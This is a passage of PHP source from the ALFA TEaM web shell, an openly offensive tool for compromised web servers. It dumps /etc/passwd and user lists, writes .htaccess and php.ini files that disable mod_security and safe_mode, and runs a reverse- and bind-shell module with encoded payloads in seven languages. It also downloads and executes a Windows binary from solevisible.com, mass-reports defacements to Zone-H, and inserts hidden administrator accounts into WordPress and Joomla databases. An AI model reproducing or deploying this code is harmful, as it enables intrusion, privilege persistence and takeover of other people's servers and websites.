                    echo __pre() . "<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
                } else {
                    echo __pre() . '<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';
                }
            } else {
                $site = trim($_POST['alfa7']);
                $rep = str_replace(array("https://", "http://", "www."), "", $site);
                $users = _alfa_file("/etc/virtual/domainowners");
                foreach ($users as $boz) {
                    $ex = explode(":", $boz);
                    if ($ex[0] == $rep) {
                        echo __pre() . "<center><table border='1'>\r\n<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">" . trim($ex[1]) . "</font></b></td></tr>\r\n<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
                        break;
                    }
                }
            }
        }
    }
    if (!empty($_POST['alfa5']) && isset($_POST['alfa5'])) {
        if (!_alfa_file_exists("/etc/virtual/domainowners")) {
            echo __pre();
            $i = 0;
            while ($i < 60000) {
                $line = @posix_getpwuid($i);
                if (!empty($line)) {
                    while (list($key, $vl) = each($line)) {
                        echo $vl . "\n";
                        break;
                    }
                }
                $i++;
            }
        } else {
            echo __pre();
            $users = _alfa_file("/etc/virtual/domainowners");
            foreach ($users as $boz) {
                $user = explode(":", $boz);
                echo trim($user[1]) . '<br>';
            }
        }
    }
    if (!empty($_POST['alfa4']) && isset($_POST['alfa4'])) {
        echo __pre();
        if (_alfa_can_runCommand(true, true)) {
            echo __read_file("/etc/passwd");
        } elseif (function_exists("posix_getpwuid")) {
            for ($uid = 0; $uid < 60000; $uid++) {
                $ara = @posix_getpwuid($uid);
                if (!empty($ara)) {
                    while (list($key, $val) = each($ara)) {
                        echo "{$val}:";
                    }
                    echo "\n";
                }
            }
        } else {
            __alert('failed...');
        }
    }
    if (!empty($_POST['alfa2']) && isset($_POST['alfa2'])) {
        @__write_file($GLOBALS['cwd'] . ".htaccess", "#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
        echo "<center><b><big>htaccess for Apache created...!</center></b></big>";
    }
    if (!empty($_POST['alfa1']) && isset($_POST['alfa1'])) {
        @__write_file($GLOBALS['cwd'] . "php.ini", "safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
        echo "<center><b><big> php.ini created...!</center></b></big>";
    }
    if (!empty($_POST['alfa3']) && isset($_POST['alfa3'])) {
        @__write_file($GLOBALS['cwd'] . ".htaccess", "#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
        echo "<center><b><big>htaccess for Litespeed created...!</center></b></big>";
    }
    echo "<br></div>";
    alfafooter();
}
function __get_resource($content)
{
    return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content)
{
    if ($fh = @fopen($file, "wb")) {
        if (fwrite($fh, $content) !== false) {
            return true;
        }
    }
    return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments)
{
    $res = "<font color='green'>[ Success...! ]</font>";
    $err = "<font color='red'>[ Failed...! ]</font>";
    if ($evalOptions != "") {
        $evalOptions .= " ";
    }
    if ($evalArguments != "") {
        $evalArguments = " " . $evalArguments;
    }
    if ($evalType == "c") {
        $tmpdir = ALFA_TEMPDIR;
        chdir($tmpdir);
        if (is_writable($tmpdir)) {
            $uniq = substr(md5(time()), 0, 8);
            $filename = $evalType . $uniq . ".c";
            $path = $filename;
            if (__write_file($path, $evalCode)) {
                $ext = $GLOBALS['sys'] == 'win' ? ".exe" : ".out";
                $pathres = $filename . $ext;
                $evalOptions = "-o " . $pathres . " " . $evalOptions;
                $cmd = "gcc " . $evalOptions . $path;
                alfaEx($cmd);
                if (is_file($pathres)) {
                    if (chmod($pathres, 0755)) {
                        $cmd = $pathres . $evalArguments;
                        alfaEx($cmd);
                    } else {
                        $res = $err;
                    }
                    unlink($pathres);
                } else {
                    $res = $err;
                }
                unlink($path);
            } else {
                $res = $err;
            }
        }
        return $res;
    } elseif ($evalType == "java") {
        $tmpdir = ALFA_TEMPDIR;
        chdir($tmpdir);
        if (is_writable($tmpdir)) {
            if (preg_match("/class\\ ([^{]+){/i", $evalCode, $r)) {
                $classname = trim($r[1]);
                $filename = $classname;
            } else {
                $uniq = substr(md5(time()), 0, 8);
                $filename = $evalType . $uniq;
                $evalCode = "class " . $filename . " { " . $evalCode . " } ";
            }
            $path = $filename . ".java";
            if (__write_file($path, $evalCode)) {
                $cmd = "javac " . $evalOptions . $path;
                alfaEx($cmd);
                $pathres = $filename . ".class";
                if (is_file($pathres)) {
                    if (chmod($pathres, 0755)) {
                        $cmd = "java " . $filename . $evalArguments;
                        alfaEx($cmd);
                    } else {
                        $res = $err;
                    }
                    unlink($pathres);
                } else {
                    $res = $err;
                }
                unlink($path);
            } else {
                $res = $err;
            }
        }
        return $res;
    }
    return false;
}
function alfaconnect()
{
    alfahead();
    $php = "7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
    $python = "pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
    $perl = "lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
    $ruby = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
    $node = "nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
    $c = "tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
    $java = "lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
    echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
    echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">\r\n<div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
    $cbArr = array("php" => "Php", "perl" => "Perl", "python" => "Python", "ruby" => "Ruby", "c" => "C", "java" => "Java", "node" => "NodeJs", "bcwin" => "Windows");
    foreach ($cbArr as $key => $val) {
        echo "<option value='{$key}' " . ($GLOBALS['sys'] == 'win' ? 'selected' : '') . ">{$val}</option>";
    }
    echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
    if (isset($_POST['alfa1']) && !empty($_POST['alfa1'])) {
        $lang = $_POST['alfa1'];
        $ip = $_POST['alfa2'];
        $port = $_POST['alfa3'];
        $arg = $_POST['alfa4'] == 'bind' ? $port : $port . ' ' . $ip;
        $tmpdir = ALFA_TEMPDIR;
        $name = "ALFA_TEMPDIR/" . $lang . uniqid() . rand(1, 99999);
        $allow = array('perl', 'ruby', 'python', 'node');
        eval('$lan=$' . $lang . ';');
        if (in_array($lang, $allow)) {
            if (__write_file($name, __get_resource($lan))) {
                if (_alfa_can_runCommand(true, true)) {
                    $os = $GLOBALS['sys'] != 'win' ? '1>/dev/null 2>&1 &' : '';
                    $out = alfaEx("{$lang} {$name} {$arg} {$os}");
                    if ($out == '') {
                        $out = "<font color='green'><center>[ Finished...! ]</center></font>";
                    }
                    echo "<pre class='ml1' style='margin-top:5px'>{$out}</pre>";
                }
            } else {
                echo "<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>";
            }
        }
        if ($lang == 'java' || $lang == 'c') {
            $code = __get_resource($lan);
            $out = nl2br(bcinit($lang, $code, '', ''));
            echo "<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>";
        }
        if ($lang == 'bcwin') {
            $alfa = new AlfaCURL();
            $s = $alfa->Send('http://solevisible.com/bc/windows.exe');
            $tmpdir = ALFA_TEMPDIR;
            $f = @fopen("ALFA_TEMPDIR/bcwin.exe", 'w+');
            @fwrite($f, $s);
            @fclose($f);
            $out = alfaEx("ALFA_TEMPDIR/bcwin.exe " . $_POST['alfa2'] . " " . $_POST['alfa3']);
        }
        if ($lang == 'php') {
            echo "<pre class=ml1 style='margin-top:5px'>";
            $code = __get_resource($lan);
            if ($code !== false) {
                $code = "\$target = \"" . $arg . "\";\n" . $code;
                eval($code);
                echo "<center><font color='green'>[ Finished...! ]</font></center>";
            }
            echo "</pre>";
        }
    }
    echo "</div>";
    alfafooter();
}
function alfazoneh()
{
    alfahead();
    echo "<div class=header>";
    if (!function_exists('curl_version')) {
        echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
    }
    $hackmode = array('known vulnerability (i.e. unpatched system)', 'undisclosed (new) vulnerability', 'configuration / admin. mistake', 'brute force attack', 'social engineering', 'Web Server intrusion', 'Web Server external module intrusion', 'Mail Server intrusion', 'FTP Server intrusion', 'SSH Server intrusion', 'Telnet Server intrusion', 'RPC Server intrusion', 'Shares misconfiguration', 'Other Server intrusion', 'SQL Injection', 'URL Poisoning', 'File Inclusion', 'Other Web Application bug', 'Remote administrative panel access bruteforcing', 'Remote administrative panel access password guessing', 'Remote administrative panel access social engineering', 'Attack against administrator(password stealing/sniffing)', 'Access credentials through Man In the Middle attack', 'Remote service password guessing', 'Remote service password bruteforce', 'Rerouting after attacking the Firewall', 'Rerouting after attacking the Router', 'DNS attack through social engineering', 'DNS attack through cache poisoning', 'Not available', 'Cross-Site Scripting');
    $reason = array('Heh...just for fun!', 'Revenge against that website', 'Political reasons', 'As a challenge', 'I just want to be the best defacer', 'Patriotism', 'Not available');
    echo "\r\n<center><br><div class=\"txtfont_header\">| Zone-h Mass Poster |</div><center><br>\r\n<form action=\"\" method=\"post\" onsubmit=\"g('zoneh',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,'>>'); return false;\">\r\n<input type=\"text\" name=\"defacer\" size=\"67\" id=\"text\" placeholder=\"ALFA TEaM 2012\" />\r\n<br>\r\n<select id=\"text\" name=\"hackmode\" style=\"width:400px;\">";
    $x = 1;
    foreach ($hackmode as $mode) {
        echo '<option style="background-color: rgb(F, F, F);" value="' . $x . '">' . $mode . '</option>';
        $x++;
    }
    echo "</select><br><select id=\"text\" name=\"reason\" style=\"width:200px;\">";
    $x = 1;
    foreach ($reason as $mode) {
        echo '<option style="background-color: rgb(F, F, F);" value="' . $x . '">' . $mode . '</option>';
        $x++;
    }
    echo "</select><br>\r\n<textarea name=\"domain\" cols=\"90\" rows=\"20\" placeholder=\"Domains...\"></textarea><br>\r\n<p><input type=\"submit\" value=\" \" name=\"go\" /></p>\r\n</form></center>";
    if ($_POST['alfa5'] && $_POST['alfa5'] == '>>') {
        ob_start();
        $hacker = $_POST['alfa1'];
        $method = $_POST['alfa2'];
        $neden = $_POST['alfa3'];
        $site = $_POST['alfa4'];
        if (empty($hacker)) {
            die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
        } elseif ($method == "------------------------------------SELECT-------------------------------------") {
            die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
        } elseif ($neden == "------------------------------------SELECT-------------------------------------") {
            die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
        } elseif (empty($site)) {
            die(__pre() . "<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
        }
        $i = 0;
        $sites = explode("\n", $site);
        $alfa = new AlfaCURL();
        while ($i < count($sites)) {
            if (substr($sites[$i], 0, 4) != "http") {
                $sites[$i] = "http://" . $sites[$i];
            }
            $alfa->Send("http://www.zone-h.com/notify/single", "post", "defacer=" . $hacker . "&domain1=" . $sites[$i] . "&hackmode=" . $method . "&reason=" . $neden);
            ++$i;
        }
        echo __pre() . "<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
    }
    echo "</div>";
    alfafooter();
}
function alfapwchanger()
{
    alfahead();
    echo "<div class=header><center><br><div class=\"txtfont_header\">| Add New Admin |</div>\r\n<center><h3>";
    $vals = array('WordPress' => array('wp', 2), 'Joomla' => array('joomla', 3), 'vBulletin' => array('vb', 5), 'phpBB' => array('phpbb', 6), 'WHMCS' => array('whmcs', 7), 'MyBB' => array('mybb', 8), 'Php Nuke' => array('nuke', 9), 'Drupal' => array('drupal', 10), 'SMF' => array('smf', 11));
    Alfa_Create_A_Tag('pwchanger', $vals);
    echo "</h3></center>";
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'wp') {
        echo __pre() . '<center><center><div class="txtfont_header">| WordPress |</div>
<p>' . getConfigHtml('wp') . '</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form>";
        if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
            $localhost = $_POST['alfa3'];
            $database = $_POST['alfa4'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (ID,user_login,user_pass,user_email) values(null,'{$admin}','d4a590caacc0be55ef286e40a945ea45','{$SQL}')") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "select ID from " . $prefix . "users where user_login='" . $admin . "'") or die(mysqli_error($conn));
            $sole = @mysqli_num_rows($solevisible);
            if ($sole == 1) {
                $solevis = @mysqli_fetch_assoc($solevisible);
                $res = $solevis['ID'];
            }
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'" . $res . "','first_name','solevisible'),(null,'" . $res . "','last_name','solevisible'),(null,'" . $res . "','nickname','solevisible'),(null,'" . $res . "','description','solevisible'),(null,'" . $res . "','rich_editing','true'),(null,'" . $res . "','comment_shortcuts','false'),(null,'" . $res . "','admin_color','fresh'),(null,'" . $res . "','use_ssl','0'),(null,'" . $res . "','show_admin_bar_front','true'),(null,'" . $res . "','" . $prefix . "capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'" . $res . "','" . $prefix . "user_level','10'),(null,'" . $res . "','show_welcome_panel','1'),(null,'" . $res . "','" . $prefix . "dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if ($_POST['alfa2'] && $_POST['alfa2'] == 'joomla') {
        echo __pre() . '<center><center><div class="txtfont_header">| Joomla |</div><p><p>' . getConfigHtml('joomla') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa3'];
            $database = $_POST['alfa4'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (id,name,username,email,password) values(null,'Super User','" . $admin . "','" . $SQL . "','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "select id from " . $prefix . "users where username='" . $admin . "'") or die(mysqli_error($conn));
            $sole = @mysqli_num_rows($solevisible);
            if ($sole == 1) {
                $solevis = @mysqli_fetch_assoc($solevisible);
                $res = $solevis['id'];
            }
